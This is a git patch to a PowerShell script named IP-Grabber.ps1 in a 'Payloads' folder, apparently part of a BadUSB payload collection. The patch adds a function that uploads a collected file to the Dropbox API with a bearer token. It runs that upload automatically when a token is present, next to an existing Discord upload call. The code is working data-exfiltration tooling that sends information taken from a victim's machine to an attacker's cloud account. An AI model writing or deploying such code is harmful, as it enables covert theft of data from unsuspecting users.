From e19f60e36cdf9cd570599d065b21890db1a2999f Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sat, 7 Jan 2023 21:40:30 -0600 Subject: [PATCH] Update IP-Grabber.ps1 --- Payloads/Flip-IP-Grabber/IP-Grabber.ps1 | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 b/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 index 18ca906..6688e47 100644 --- a/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 +++ b/Payloads/Flip-IP-Grabber/IP-Grabber.ps1 @@ -108,3 +108,25 @@ if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"} #------------------------------------------------------------------------------------------------------------------------------------ + +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $db +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +} + +if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $FileName}